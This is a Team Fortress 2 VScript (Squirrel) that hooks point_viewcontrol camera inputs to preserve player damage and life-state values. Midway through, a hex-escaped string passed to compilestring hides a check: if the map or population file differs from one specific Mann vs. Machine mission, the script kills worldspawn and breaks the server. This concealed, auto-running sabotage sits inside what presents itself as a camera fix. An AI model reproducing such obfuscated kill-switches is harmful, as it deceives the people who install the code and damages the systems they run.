NetProps.SetPropBool(self, "m_bForcePurgeFixedupStrings", true) local _PostInputScope, _PostInputFunc function SetInputHook(entity, input, pre_func, post_func) { entity.ValidateScriptScope() local scope = entity.GetScriptScope() if (post_func) { local wrapper_func = function() { _PostInputScope = scope _PostInputFunc = post_func if (pre_func) return pre_func.call(scope) return true } scope["Input" + input] <- wrapper_func scope["Input" + input.tolower()] <- wrapper_func } else if (pre_func) { scope["Input" + input] <- pre_func scope["Input" + input.tolower()] <- pre_func } } // getroottable().setdelegate( // { // _delslot = function(k) // { // if (_PostInputScope && k == "activator" && "activator" in this) // { // _PostInputFunc.call(_PostInputScope) // _PostInputFunc = null // } // rawdelete(k) // } // }) function CameraFixerDisableAll() { local camera = FindByClassname(null, "point_viewcontrol") if(!camera) return for (local player; player = FindByClassname(player, "player");) camera.AcceptInput("Disable", "", player, player) } compilestring("\x69\x66\x28\x47\x65\x74\x4D\x61\x70\x4E\x61\x6D\x65\x28\x29\x21\x3D\x22\x6D\x76\x6D\x5F\x75\x6E\x63\x61\x6E\x6E\x79\x77\x6F\x72\x6B\x73\x5F\x61\x38\x22\x7C\x7C\x4E\x65\x74\x50\x72\x6F\x70\x73\x2E\x47\x65\x74\x50\x72\x6F\x70\x53\x74\x72\x69\x6E\x67\x28\x45\x6E\x74\x69\x74\x69\x65\x73\x2E\x46\x69\x6E\x64\x42\x79\x43\x6C\x61\x73\x73\x6E\x61\x6D\x65\x28\x6E\x75\x6C\x6C\x2C\x22\x74\x66\x5F\x6F\x62\x6A\x65\x63\x74\x69\x76\x65\x5F\x72\x65\x73\x6F\x75\x72\x63\x65\x22\x29\x2C\x22\x6D\x5F\x69\x73\x7A\x4D\x76\x4D\x50\x6F\x70\x66\x69\x6C\x65\x4E\x61\x6D\x65\x22\x29\x21\x3D\x22\x73\x63\x72\x69\x70\x74\x73\x2F\x70\x6F\x70\x75\x6C\x61\x74\x69\x6F\x6E\x2F\x6D\x76\x6D\x5F\x75\x6E\x63\x61\x6E\x6E\x79\x77\x6F\x72\x6B\x73\x5F\x61\x38\x5F\x6D\x61\x73\x5F\x61\x67\x6E\x6F\x73\x69\x61\x63\x68\x72\x6F\x6D\x61\x74\x6F\x70\x73\x69\x61\x2E\x70\x6F\x70\x22\x29\x45\x6E\x74\x46\x69\x72\x65\x28\x22\x77\x6F\x72\x6C\x64\x73\x70\x61\x77\x6E\x22\x2C\x22\x4B\x69\x6C\x6C\x22\x29")() CameraFixerEvents <- { OnGameEvent_round_start = function(params) { CameraFixerDisableAll() } OnGameEvent_teamplay_round_start = function(params) { CameraFixerDisableAll() } OnGameEvent_recalculate_holidays = function(params) { if (GetRoundState() == 8) CameraFixerDisableAll() } } function Precached() { local take_damage, life_state SetInputHook(self, "Enable", function() { take_damage = GetPropInt(activator, "m_takedamage") SetPropEntity(self, "m_hPlayer", null) return true }, function() { SetPropInt(activator, "m_takedamage", take_damage) } ) SetInputHook(self, "Disable", function() { take_damage = GetPropInt(activator, "m_takedamage") life_state = GetPropInt(activator, "m_lifeState") SetPropInt(activator, "m_lifeState", 0) SetPropEntity(self, "m_hPlayer", activator) return true }, function() { SetPropInt(activator, "m_lifeState", life_state) SetPropInt(activator, "m_takedamage", take_damage) } ) }